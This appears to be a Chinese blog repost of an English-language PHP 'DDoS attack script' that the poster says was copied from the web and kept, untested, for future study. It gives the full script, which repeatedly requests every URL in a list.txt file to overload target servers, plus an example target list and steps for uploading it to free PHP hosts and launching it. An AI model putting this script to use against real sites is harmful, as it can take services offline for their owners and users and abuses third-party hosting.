php ddos攻击脚本

之前在网上copy的,不记得出处了,也没有测试过,贴上以备以后研究用。

Citizens of the world: the following is a simple PHP script which may be used to inflict loads on a server when used in a heavy dose. The script is fluid and accepts targets from a list.txt file placed in the same directory.

Script:
————————————————————-
<?php
$count = file(“counter.txt”);
$fp = fopen(“counter.txt”, “w”);

$arr = explode(“;”, file_get_contents(‘list.txt’)); //uses “;” as a delimiter –> no spaces or commas

$hits = 100; //Number of rounds, 0 for infinite

for ($i = 0; ; $i++) {

if (($hits != 0) && ($i > ($hits – 1))) {
break;
}

foreach($arr as $url){
$s = file_get_contents($url).”\n\n\n”;
unset($s);

$count[0] ++;
}
}
fputs($fp , “$count[0]”);
fclose($fp);
?>
————————————————————-

Example of list.txt
————————————————————-
http://target1.com;http://target2.com;http://target3.com
————————————————————-

Directions for use:
1) Set up list.txt and configure number of hits
2) Upload script and list.txt to any free web host with PHP
3) Access script’s URL in a web browser

Written by Darwin86.

源文件:https://www.service-labs.com/docs/php_ddos.txt

上一篇: